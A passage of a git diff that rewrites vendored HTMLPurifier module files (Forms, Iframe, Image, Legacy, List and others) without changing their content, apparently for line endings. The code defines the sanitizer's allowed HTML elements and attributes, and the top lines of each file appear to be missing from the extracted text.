HTMLPurifier_ElementDef::create( + $content_model, + $content_model_type, + $attr + ); + // literal object $contents means direct child manipulation + if (!is_string($contents)) { + $this->info[$element]->child = $contents; + } + return $this->info[$element]; + } + + /** + * Convenience function that creates a totally blank, non-standalone + * element. + * @param string $element Name of element to create + * @return HTMLPurifier_ElementDef Created element + */ + public function addBlankElement($element) + { + if (!isset($this->info[$element])) { + $this->elements[] = $element; + $this->info[$element] = new HTMLPurifier_ElementDef(); + $this->info[$element]->standalone = false; + } else { + trigger_error("Definition for $element already exists in module, cannot redefine"); + } + return $this->info[$element]; + } + + /** + * Convenience function that registers an element to a content set + * @param string $element Element to register + * @param string $type Name content set (warning: case sensitive, usually upper-case + * first letter) + */ + public function addElementToContentSet($element, $type) + { + if (!isset($this->content_sets[$type])) { + $this->content_sets[$type] = ''; + } else { + $this->content_sets[$type] .= ' | '; + } + $this->content_sets[$type] .= $element; + } + + /** + * Convenience function that transforms single-string contents + * into separate content model and content model type + * @param string $contents Allowed children in form of: + * "$content_model_type: $content_model" + * @return array + * @note If contents is an object, an array of two nulls will be + * returned, and the callee needs to take the original $contents + * and use it directly. + */ + public function parseContents($contents) + { + if (!is_string($contents)) { + return array(null, null); + } // defer + switch ($contents) { + // check for shorthand content model forms + case 'Empty': + return array('empty', ''); + case 'Inline': + return array('optional', 'Inline | #PCDATA'); + case 'Flow': + return array('optional', 'Flow | #PCDATA'); + } + list($content_model_type, $content_model) = explode(':', $contents); + $content_model_type = strtolower(trim($content_model_type)); + $content_model = trim($content_model); + return array($content_model_type, $content_model); + } + + /** + * Convenience function that merges a list of attribute includes into + * an attribute array. + * @param array $attr Reference to attr array to modify + * @param array $attr_includes Array of includes / string include to merge in + */ + public function mergeInAttrIncludes(&$attr, $attr_includes) + { + if (!is_array($attr_includes)) { + if (empty($attr_includes)) { + $attr_includes = array(); + } else { + $attr_includes = array($attr_includes); + } + } + $attr[0] = $attr_includes; + } + + /** + * Convenience function that generates a lookup table with boolean + * true as value. + * @param string $list List of values to turn into a lookup + * @note You can also pass an arbitrary number of arguments in + * place of the regular argument + * @return array array equivalent of list + */ + public function makeLookup($list) + { + if (is_string($list)) { + $list = func_get_args(); + } + $ret = array(); + foreach ($list as $value) { + if (is_null($value)) { + continue; + } + $ret[$value] = true; + } + return $ret; + } + + /** + * Lazy load construction of the module after determining whether + * or not it's needed, and also when a finalized configuration object + * is available. + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php index 191a78d1cc..1e67c790d0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php @@ -1,44 +1,44 @@ - array('dir' => false) - ); - - /** - * @param HTMLPurifier_Config $config - */ - public function setup($config) - { - $bdo = $this->addElement( - 'bdo', - 'Inline', - 'Inline', - array('Core', 'Lang'), - array( - 'dir' => 'Enum#ltr,rtl', // required - // The Abstract Module specification has the attribute - // inclusions wrong for bdo: bdo allows Lang - ) - ); - $bdo->attr_transform_post[] = new HTMLPurifier_AttrTransform_BdoDir(); - - $this->attr_collections['I18N']['dir'] = 'Enum#ltr,rtl'; - } -} - -// vim: et sw=4 sts=4 + array('dir' => false) + ); + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + $bdo = $this->addElement( + 'bdo', + 'Inline', + 'Inline', + array('Core', 'Lang'), + array( + 'dir' => 'Enum#ltr,rtl', // required + // The Abstract Module specification has the attribute + // inclusions wrong for bdo: bdo allows Lang + ) + ); + $bdo->attr_transform_post[] = new HTMLPurifier_AttrTransform_BdoDir(); + + $this->attr_collections['I18N']['dir'] = 'Enum#ltr,rtl'; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php index e2fe53fc81..a96ab1bef1 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php @@ -1,31 +1,31 @@ - array( - 0 => array('Style'), - // 'xml:space' => false, - 'class' => 'Class', - 'id' => 'ID', - 'title' => 'CDATA', - ), - 'Lang' => array(), - 'I18N' => array( - 0 => array('Lang'), // proprietary, for xml:lang/lang - ), - 'Common' => array( - 0 => array('Core', 'I18N') - ) - ); -} - -// vim: et sw=4 sts=4 + array( + 0 => array('Style'), + // 'xml:space' => false, + 'class' => 'Class', + 'id' => 'ID', + 'title' => 'CDATA', + ), + 'Lang' => array(), + 'I18N' => array( + 0 => array('Lang'), // proprietary, for xml:lang/lang + ), + 'Common' => array( + 0 => array('Core', 'I18N') + ) + ); +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php index b8288368cf..a9042a3577 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php @@ -1,55 +1,55 @@ - 'URI', - // 'datetime' => 'Datetime', // not implemented - ); - $this->addElement('del', 'Inline', $contents, 'Common', $attr); - $this->addElement('ins', 'Inline', $contents, 'Common', $attr); - } - - // HTML 4.01 specifies that ins/del must not contain block - // elements when used in an inline context, chameleon is - // a complicated workaround to acheive this effect - - // Inline context ! Block context (exclamation mark is - // separator, see getChildDef for parsing) - - /** - * @type bool - */ - public $defines_child_def = true; - - /** - * @param HTMLPurifier_ElementDef $def - * @return HTMLPurifier_ChildDef_Chameleon - */ - public function getChildDef($def) - { - if ($def->content_model_type != 'chameleon') { - return false; - } - $value = explode('!', $def->content_model); - return new HTMLPurifier_ChildDef_Chameleon($value[0], $value[1]); - } -} - -// vim: et sw=4 sts=4 + 'URI', + // 'datetime' => 'Datetime', // not implemented + ); + $this->addElement('del', 'Inline', $contents, 'Common', $attr); + $this->addElement('ins', 'Inline', $contents, 'Common', $attr); + } + + // HTML 4.01 specifies that ins/del must not contain block + // elements when used in an inline context, chameleon is + // a complicated workaround to acheive this effect + + // Inline context ! Block context (exclamation mark is + // separator, see getChildDef for parsing) + + /** + * @type bool + */ + public $defines_child_def = true; + + /** + * @param HTMLPurifier_ElementDef $def + * @return HTMLPurifier_ChildDef_Chameleon + */ + public function getChildDef($def) + { + if ($def->content_model_type != 'chameleon') { + return false; + } + $value = explode('!', $def->content_model); + return new HTMLPurifier_ChildDef_Chameleon($value[0], $value[1]); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php index d0d69b2f67..eb0edcffd5 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php @@ -1,194 +1,194 @@ - 'Form', - 'Inline' => 'Formctrl', - ); - - /** - * @param HTMLPurifier_Config $config - */ - public function setup($config) - { - if ($config->get('HTML.Forms')) { - $this->safe = true; - } - - $form = $this->addElement( - 'form', - 'Form', - 'Required: Heading | List | Block | fieldset', - 'Common', - array( - 'accept' => 'ContentTypes', - 'accept-charset' => 'Charsets', - 'action*' => 'URI', - 'method' => 'Enum#get,post', - // really ContentType, but these two are the only ones used today - 'enctype' => 'Enum#application/x-www-form-urlencoded,multipart/form-data', - ) - ); - $form->excludes = array('form' => true); - - $input = $this->addElement( - 'input', - 'Formctrl', - 'Empty', - 'Common', - array( - 'accept' => 'ContentTypes', - 'accesskey' => 'Character', - 'alt' => 'Text', - 'checked' => 'Bool#checked', - 'disabled' => 'Bool#disabled', - 'maxlength' => 'Number', - 'name' => 'CDATA', - 'readonly' => 'Bool#readonly', - 'size' => 'Number', - 'src' => 'URI#embedded', - 'tabindex' => 'Number', - 'type' => 'Enum#text,password,checkbox,button,radio,submit,reset,file,hidden,image', - 'value' => 'CDATA', - ) - ); - $input->attr_transform_post[] = new HTMLPurifier_AttrTransform_Input(); - - $this->addElement( - 'select', - 'Formctrl', - 'Required: optgroup | option', - 'Common', - array( - 'disabled' => 'Bool#disabled', - 'multiple' => 'Bool#multiple', - 'name' => 'CDATA', - 'size' => 'Number', - 'tabindex' => 'Number', - ) - ); - - $this->addElement( - 'option', - false, - 'Optional: #PCDATA', - 'Common', - array( - 'disabled' => 'Bool#disabled', - 'label' => 'Text', - 'selected' => 'Bool#selected', - 'value' => 'CDATA', - ) - ); - // It's illegal for there to be more than one selected, but not - // be multiple. Also, no selected means undefined behavior. This might - // be difficult to implement; perhaps an injector, or a context variable. - - $textarea = $this->addElement( - 'textarea', - 'Formctrl', - 'Optional: #PCDATA', - 'Common', - array( - 'accesskey' => 'Character', - 'cols*' => 'Number', - 'disabled' => 'Bool#disabled', - 'name' => 'CDATA', - 'readonly' => 'Bool#readonly', - 'rows*' => 'Number', - 'tabindex' => 'Number', - ) - ); - $textarea->attr_transform_pre[] = new HTMLPurifier_AttrTransform_Textarea(); - - $button = $this->addElement( - 'button', - 'Formctrl', - 'Optional: #PCDATA | Heading | List | Block | Inline', - 'Common', - array( - 'accesskey' => 'Character', - 'disabled' => 'Bool#disabled', - 'name' => 'CDATA', - 'tabindex' => 'Number', - 'type' => 'Enum#button,submit,reset', - 'value' => 'CDATA', - ) - ); - - // For exclusions, ideally we'd specify content sets, not literal elements - $button->excludes = $this->makeLookup( - 'form', - 'fieldset', // Form - 'input', - 'select', - 'textarea', - 'label', - 'button', // Formctrl - 'a', // as per HTML 4.01 spec, this is omitted by modularization - 'isindex', - 'iframe' // legacy items - ); - - // Extra exclusion: img usemap="" is not permitted within this element. - // We'll omit this for now, since we don't have any good way of - // indicating it yet. - - // This is HIGHLY user-unfriendly; we need a custom child-def for this - $this->addElement('fieldset', 'Form', 'Custom: (#WS?,legend,(Flow|#PCDATA)*)', 'Common'); - - $label = $this->addElement( - 'label', - 'Formctrl', - 'Optional: #PCDATA | Inline', - 'Common', - array( - 'accesskey' => 'Character', - // 'for' => 'IDREF', // IDREF not implemented, cannot allow - ) - ); - $label->excludes = array('label' => true); - - $this->addElement( - 'legend', - false, - 'Optional: #PCDATA | Inline', - 'Common', - array( - 'accesskey' => 'Character', - ) - ); - - $this->addElement( - 'optgroup', - false, - 'Required: option', - 'Common', - array( - 'disabled' => 'Bool#disabled', - 'label*' => 'Text', - ) - ); - // Don't forget an injector for . This one's a little complex - // because it maps to multiple elements. - } -} - -// vim: et sw=4 sts=4 + 'Form', + 'Inline' => 'Formctrl', + ); + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + if ($config->get('HTML.Forms')) { + $this->safe = true; + } + + $form = $this->addElement( + 'form', + 'Form', + 'Required: Heading | List | Block | fieldset', + 'Common', + array( + 'accept' => 'ContentTypes', + 'accept-charset' => 'Charsets', + 'action*' => 'URI', + 'method' => 'Enum#get,post', + // really ContentType, but these two are the only ones used today + 'enctype' => 'Enum#application/x-www-form-urlencoded,multipart/form-data', + ) + ); + $form->excludes = array('form' => true); + + $input = $this->addElement( + 'input', + 'Formctrl', + 'Empty', + 'Common', + array( + 'accept' => 'ContentTypes', + 'accesskey' => 'Character', + 'alt' => 'Text', + 'checked' => 'Bool#checked', + 'disabled' => 'Bool#disabled', + 'maxlength' => 'Number', + 'name' => 'CDATA', + 'readonly' => 'Bool#readonly', + 'size' => 'Number', + 'src' => 'URI#embedded', + 'tabindex' => 'Number', + 'type' => 'Enum#text,password,checkbox,button,radio,submit,reset,file,hidden,image', + 'value' => 'CDATA', + ) + ); + $input->attr_transform_post[] = new HTMLPurifier_AttrTransform_Input(); + + $this->addElement( + 'select', + 'Formctrl', + 'Required: optgroup | option', + 'Common', + array( + 'disabled' => 'Bool#disabled', + 'multiple' => 'Bool#multiple', + 'name' => 'CDATA', + 'size' => 'Number', + 'tabindex' => 'Number', + ) + ); + + $this->addElement( + 'option', + false, + 'Optional: #PCDATA', + 'Common', + array( + 'disabled' => 'Bool#disabled', + 'label' => 'Text', + 'selected' => 'Bool#selected', + 'value' => 'CDATA', + ) + ); + // It's illegal for there to be more than one selected, but not + // be multiple. Also, no selected means undefined behavior. This might + // be difficult to implement; perhaps an injector, or a context variable. + + $textarea = $this->addElement( + 'textarea', + 'Formctrl', + 'Optional: #PCDATA', + 'Common', + array( + 'accesskey' => 'Character', + 'cols*' => 'Number', + 'disabled' => 'Bool#disabled', + 'name' => 'CDATA', + 'readonly' => 'Bool#readonly', + 'rows*' => 'Number', + 'tabindex' => 'Number', + ) + ); + $textarea->attr_transform_pre[] = new HTMLPurifier_AttrTransform_Textarea(); + + $button = $this->addElement( + 'button', + 'Formctrl', + 'Optional: #PCDATA | Heading | List | Block | Inline', + 'Common', + array( + 'accesskey' => 'Character', + 'disabled' => 'Bool#disabled', + 'name' => 'CDATA', + 'tabindex' => 'Number', + 'type' => 'Enum#button,submit,reset', + 'value' => 'CDATA', + ) + ); + + // For exclusions, ideally we'd specify content sets, not literal elements + $button->excludes = $this->makeLookup( + 'form', + 'fieldset', // Form + 'input', + 'select', + 'textarea', + 'label', + 'button', // Formctrl + 'a', // as per HTML 4.01 spec, this is omitted by modularization + 'isindex', + 'iframe' // legacy items + ); + + // Extra exclusion: img usemap="" is not permitted within this element. + // We'll omit this for now, since we don't have any good way of + // indicating it yet. + + // This is HIGHLY user-unfriendly; we need a custom child-def for this + $this->addElement('fieldset', 'Form', 'Custom: (#WS?,legend,(Flow|#PCDATA)*)', 'Common'); + + $label = $this->addElement( + 'label', + 'Formctrl', + 'Optional: #PCDATA | Inline', + 'Common', + array( + 'accesskey' => 'Character', + // 'for' => 'IDREF', // IDREF not implemented, cannot allow + ) + ); + $label->excludes = array('label' => true); + + $this->addElement( + 'legend', + false, + 'Optional: #PCDATA | Inline', + 'Common', + array( + 'accesskey' => 'Character', + ) + ); + + $this->addElement( + 'optgroup', + false, + 'Required: option', + 'Common', + array( + 'disabled' => 'Bool#disabled', + 'label*' => 'Text', + ) + ); + // Don't forget an injector for . This one's a little complex + // because it maps to multiple elements. + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php index 968c07e980..72d7a31e68 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php @@ -1,40 +1,40 @@ -addElement( - 'a', - 'Inline', - 'Inline', - 'Common', - array( - // 'accesskey' => 'Character', - // 'charset' => 'Charset', - 'href' => 'URI', - // 'hreflang' => 'LanguageCode', - 'rel' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'), - 'rev' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rev'), - // 'tabindex' => 'Number', - // 'type' => 'ContentType', - ) - ); - $a->formatting = true; - $a->excludes = array('a' => true); - } -} - -// vim: et sw=4 sts=4 +addElement( + 'a', + 'Inline', + 'Inline', + 'Common', + array( + // 'accesskey' => 'Character', + // 'charset' => 'Charset', + 'href' => 'URI', + // 'hreflang' => 'LanguageCode', + 'rel' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'), + 'rev' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rev'), + // 'tabindex' => 'Number', + // 'type' => 'ContentType', + ) + ); + $a->formatting = true; + $a->excludes = array('a' => true); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php index 2c9bdc5803..f7e7c91c02 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php @@ -1,51 +1,51 @@ -get('HTML.SafeIframe')) { - $this->safe = true; - } - $this->addElement( - 'iframe', - 'Inline', - 'Flow', - 'Common', - array( - 'src' => 'URI#embedded', - 'width' => 'Length', - 'height' => 'Length', - 'name' => 'ID', - 'scrolling' => 'Enum#yes,no,auto', - 'frameborder' => 'Enum#0,1', - 'longdesc' => 'URI', - 'marginheight' => 'Pixels', - 'marginwidth' => 'Pixels', - ) - ); - } -} - -// vim: et sw=4 sts=4 +get('HTML.SafeIframe')) { + $this->safe = true; + } + $this->addElement( + 'iframe', + 'Inline', + 'Flow', + 'Common', + array( + 'src' => 'URI#embedded', + 'width' => 'Length', + 'height' => 'Length', + 'name' => 'ID', + 'scrolling' => 'Enum#yes,no,auto', + 'frameborder' => 'Enum#0,1', + 'longdesc' => 'URI', + 'marginheight' => 'Pixels', + 'marginwidth' => 'Pixels', + ) + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php index 0ed7411e7f..0f5fdb3baf 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php @@ -1,49 +1,49 @@ -get('HTML.MaxImgLength'); - $img = $this->addElement( - 'img', - 'Inline', - 'Empty', - 'Common', - array( - 'alt*' => 'Text', - // According to the spec, it's Length, but percents can - // be abused, so we allow only Pixels. - 'height' => 'Pixels#' . $max, - 'width' => 'Pixels#' . $max, - 'longdesc' => 'URI', - 'src*' => new HTMLPurifier_AttrDef_URI(true), // embedded - ) - ); - if ($max === null || $config->get('HTML.Trusted')) { - $img->attr['height'] = - $img->attr['width'] = 'Length'; - } - - // kind of strange, but splitting things up would be inefficient - $img->attr_transform_pre[] = - $img->attr_transform_post[] = - new HTMLPurifier_AttrTransform_ImgRequired(); - } -} - -// vim: et sw=4 sts=4 +get('HTML.MaxImgLength'); + $img = $this->addElement( + 'img', + 'Inline', + 'Empty', + 'Common', + array( + 'alt*' => 'Text', + // According to the spec, it's Length, but percents can + // be abused, so we allow only Pixels. + 'height' => 'Pixels#' . $max, + 'width' => 'Pixels#' . $max, + 'longdesc' => 'URI', + 'src*' => new HTMLPurifier_AttrDef_URI(true), // embedded + ) + ); + if ($max === null || $config->get('HTML.Trusted')) { + $img->attr['height'] = + $img->attr['width'] = 'Length'; + } + + // kind of strange, but splitting things up would be inefficient + $img->attr_transform_pre[] = + $img->attr_transform_post[] = + new HTMLPurifier_AttrTransform_ImgRequired(); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php index 9ca1cb3756..86b5299579 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php @@ -1,186 +1,186 @@ -addElement( - 'basefont', - 'Inline', - 'Empty', - null, - array( - 'color' => 'Color', - 'face' => 'Text', // extremely broad, we should - 'size' => 'Text', // tighten it - 'id' => 'ID' - ) - ); - $this->addElement('center', 'Block', 'Flow', 'Common'); - $this->addElement( - 'dir', - 'Block', - 'Required: li', - 'Common', - array( - 'compact' => 'Bool#compact' - ) - ); - $this->addElement( - 'font', - 'Inline', - 'Inline', - array('Core', 'I18N'), - array( - 'color' => 'Color', - 'face' => 'Text', // extremely broad, we should - 'size' => 'Text', // tighten it - ) - ); - $this->addElement( - 'menu', - 'Block', - 'Required: li', - 'Common', - array( - 'compact' => 'Bool#compact' - ) - ); - - $s = $this->addElement('s', 'Inline', 'Inline', 'Common'); - $s->formatting = true; - - $strike = $this->addElement('strike', 'Inline', 'Inline', 'Common'); - $strike->formatting = true; - - $u = $this->addElement('u', 'Inline', 'Inline', 'Common'); - $u->formatting = true; - - // setup modifications to old elements - - $align = 'Enum#left,right,center,justify'; - - $address = $this->addBlankElement('address'); - $address->content_model = 'Inline | #PCDATA | p'; - $address->content_model_type = 'optional'; - $address->child = false; - - $blockquote = $this->addBlankElement('blockquote'); - $blockquote->content_model = 'Flow | #PCDATA'; - $blockquote->content_model_type = 'optional'; - $blockquote->child = false; - - $br = $this->addBlankElement('br'); - $br->attr['clear'] = 'Enum#left,all,right,none'; - - $caption = $this->addBlankElement('caption'); - $caption->attr['align'] = 'Enum#top,bottom,left,right'; - - $div = $this->addBlankElement('div'); - $div->attr['align'] = $align; - - $dl = $this->addBlankElement('dl'); - $dl->attr['compact'] = 'Bool#compact'; - - for ($i = 1; $i <= 6; $i++) { - $h = $this->addBlankElement("h$i"); - $h->attr['align'] = $align; - } - - $hr = $this->addBlankElement('hr'); - $hr->attr['align'] = $align; - $hr->attr['noshade'] = 'Bool#noshade'; - $hr->attr['size'] = 'Pixels'; - $hr->attr['width'] = 'Length'; - - $img = $this->addBlankElement('img'); - $img->attr['align'] = 'IAlign'; - $img->attr['border'] = 'Pixels'; - $img->attr['hspace'] = 'Pixels'; - $img->attr['vspace'] = 'Pixels'; - - // figure out this integer business - - $li = $this->addBlankElement('li'); - $li->attr['value'] = new HTMLPurifier_AttrDef_Integer(); - $li->attr['type'] = 'Enum#s:1,i,I,a,A,disc,square,circle'; - - $ol = $this->addBlankElement('ol'); - $ol->attr['compact'] = 'Bool#compact'; - $ol->attr['start'] = new HTMLPurifier_AttrDef_Integer(); - $ol->attr['type'] = 'Enum#s:1,i,I,a,A'; - - $p = $this->addBlankElement('p'); - $p->attr['align'] = $align; - - $pre = $this->addBlankElement('pre'); - $pre->attr['width'] = 'Number'; - - // script omitted - - $table = $this->addBlankElement('table'); - $table->attr['align'] = 'Enum#left,center,right'; - $table->attr['bgcolor'] = 'Color'; - - $tr = $this->addBlankElement('tr'); - $tr->attr['bgcolor'] = 'Color'; - - $th = $this->addBlankElement('th'); - $th->attr['bgcolor'] = 'Color'; - $th->attr['height'] = 'Length'; - $th->attr['nowrap'] = 'Bool#nowrap'; - $th->attr['width'] = 'Length'; - - $td = $this->addBlankElement('td'); - $td->attr['bgcolor'] = 'Color'; - $td->attr['height'] = 'Length'; - $td->attr['nowrap'] = 'Bool#nowrap'; - $td->attr['width'] = 'Length'; - - $ul = $this->addBlankElement('ul'); - $ul->attr['compact'] = 'Bool#compact'; - $ul->attr['type'] = 'Enum#square,disc,circle'; - - // "safe" modifications to "unsafe" elements - // WARNING: If you want to add support for an unsafe, legacy - // attribute, make a new TrustedLegacy module with the trusted - // bit set appropriately - - $form = $this->addBlankElement('form'); - $form->content_model = 'Flow | #PCDATA'; - $form->content_model_type = 'optional'; - $form->attr['target'] = 'FrameTarget'; - - $input = $this->addBlankElement('input'); - $input->attr['align'] = 'IAlign'; - - $legend = $this->addBlankElement('legend'); - $legend->attr['align'] = 'LAlign'; - } -} - -// vim: et sw=4 sts=4 +addElement( + 'basefont', + 'Inline', + 'Empty', + null, + array( + 'color' => 'Color', + 'face' => 'Text', // extremely broad, we should + 'size' => 'Text', // tighten it + 'id' => 'ID' + ) + ); + $this->addElement('center', 'Block', 'Flow', 'Common'); + $this->addElement( + 'dir', + 'Block', + 'Required: li', + 'Common', + array( + 'compact' => 'Bool#compact' + ) + ); + $this->addElement( + 'font', + 'Inline', + 'Inline', + array('Core', 'I18N'), + array( + 'color' => 'Color', + 'face' => 'Text', // extremely broad, we should + 'size' => 'Text', // tighten it + ) + ); + $this->addElement( + 'menu', + 'Block', + 'Required: li', + 'Common', + array( + 'compact' => 'Bool#compact' + ) + ); + + $s = $this->addElement('s', 'Inline', 'Inline', 'Common'); + $s->formatting = true; + + $strike = $this->addElement('strike', 'Inline', 'Inline', 'Common'); + $strike->formatting = true; + + $u = $this->addElement('u', 'Inline', 'Inline', 'Common'); + $u->formatting = true; + + // setup modifications to old elements + + $align = 'Enum#left,right,center,justify'; + + $address = $this->addBlankElement('address'); + $address->content_model = 'Inline | #PCDATA | p'; + $address->content_model_type = 'optional'; + $address->child = false; + + $blockquote = $this->addBlankElement('blockquote'); + $blockquote->content_model = 'Flow | #PCDATA'; + $blockquote->content_model_type = 'optional'; + $blockquote->child = false; + + $br = $this->addBlankElement('br'); + $br->attr['clear'] = 'Enum#left,all,right,none'; + + $caption = $this->addBlankElement('caption'); + $caption->attr['align'] = 'Enum#top,bottom,left,right'; + + $div = $this->addBlankElement('div'); + $div->attr['align'] = $align; + + $dl = $this->addBlankElement('dl'); + $dl->attr['compact'] = 'Bool#compact'; + + for ($i = 1; $i <= 6; $i++) { + $h = $this->addBlankElement("h$i"); + $h->attr['align'] = $align; + } + + $hr = $this->addBlankElement('hr'); + $hr->attr['align'] = $align; + $hr->attr['noshade'] = 'Bool#noshade'; + $hr->attr['size'] = 'Pixels'; + $hr->attr['width'] = 'Length'; + + $img = $this->addBlankElement('img'); + $img->attr['align'] = 'IAlign'; + $img->attr['border'] = 'Pixels'; + $img->attr['hspace'] = 'Pixels'; + $img->attr['vspace'] = 'Pixels'; + + // figure out this integer business + + $li = $this->addBlankElement('li'); + $li->attr['value'] = new HTMLPurifier_AttrDef_Integer(); + $li->attr['type'] = 'Enum#s:1,i,I,a,A,disc,square,circle'; + + $ol = $this->addBlankElement('ol'); + $ol->attr['compact'] = 'Bool#compact'; + $ol->attr['start'] = new HTMLPurifier_AttrDef_Integer(); + $ol->attr['type'] = 'Enum#s:1,i,I,a,A'; + + $p = $this->addBlankElement('p'); + $p->attr['align'] = $align; + + $pre = $this->addBlankElement('pre'); + $pre->attr['width'] = 'Number'; + + // script omitted + + $table = $this->addBlankElement('table'); + $table->attr['align'] = 'Enum#left,center,right'; + $table->attr['bgcolor'] = 'Color'; + + $tr = $this->addBlankElement('tr'); + $tr->attr['bgcolor'] = 'Color'; + + $th = $this->addBlankElement('th'); + $th->attr['bgcolor'] = 'Color'; + $th->attr['height'] = 'Length'; + $th->attr['nowrap'] = 'Bool#nowrap'; + $th->attr['width'] = 'Length'; + + $td = $this->addBlankElement('td'); + $td->attr['bgcolor'] = 'Color'; + $td->attr['height'] = 'Length'; + $td->attr['nowrap'] = 'Bool#nowrap'; + $td->attr['width'] = 'Length'; + + $ul = $this->addBlankElement('ul'); + $ul->attr['compact'] = 'Bool#compact'; + $ul->attr['type'] = 'Enum#square,disc,circle'; + + // "safe" modifications to "unsafe" elements + // WARNING: If you want to add support for an unsafe, legacy + // attribute, make a new TrustedLegacy module with the trusted + // bit set appropriately + + $form = $this->addBlankElement('form'); + $form->content_model = 'Flow | #PCDATA'; + $form->content_model_type = 'optional'; + $form->attr['target'] = 'FrameTarget'; + + $input = $this->addBlankElement('input'); + $input->attr['align'] = 'IAlign'; + + $legend = $this->addBlankElement('legend'); + $legend->attr['align'] = 'LAlign'; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php index 605e37c97a..7a20ff701c 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php @@ -1,51 +1,51 @@ - 'List'); - - /** - * @param HTMLPurifier_Config $config - */ - public function setup($config) - { - $ol = $this->addElement('ol', 'List', new HTMLPurifier_ChildDef_List(), 'Common'); - $ul = $this->addElement('ul', 'List', new HTMLPurifier_ChildDef_List(), 'Common'); - // XXX The wrap attribute is handled by MakeWellFormed. This is all - // quite unsatisfactory, because we generated this - // *specifically* for lists, and now a big chunk of the handling - // is done properly by the List ChildDef. So actually, we just - // want enough information to make autoclosing work properly, - // and then hand off the tricky stuff to the ChildDef. - $ol->wrap = 'li'; - $ul->wrap = 'li'; - $this->addElement('dl', 'List', 'Required: dt | dd', 'Common'); - - $this->addElement('li', false, 'Flow', 'Common'); - - $this->addElement('dd', false, 'Flow', 'Common'); - $this->addElement('dt', false, 'Inline', 'Common'); - } -} - -// vim: et sw=4 sts=4 + 'List'); + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + $ol = $this->addElement('ol', 'List', new HTMLPurifier_ChildDef_List(), 'Common'); + $ul = $this->addElement('ul', 'List', new HTMLPurifier_ChildDef_List(), 'Common'); + // XXX The wrap attribute is handled by MakeWellFormed. This is all + // quite unsatisfactory, because we generated this + // *specifically* for lists, and now a big chunk of the handling + // is done properly by the List ChildDef. So actually, we just + // want enough information to make autoclosing work properly, + // and then hand off the tricky stuff to the ChildDef. + $ol->wrap = 'li'; + $ul->wrap = 'li'; + $this->addElement('dl', 'List', 'Required: dt | dd', 'Common'); + + $this->addElement('li', false, 'Flow', 'Common'); + + $this->addElement('dd', false, 'Flow', 'Common'); + $this->addElement('dt', false, 'Inline', 'Common'); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php index 315e22a803..60c0545154 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php +++ 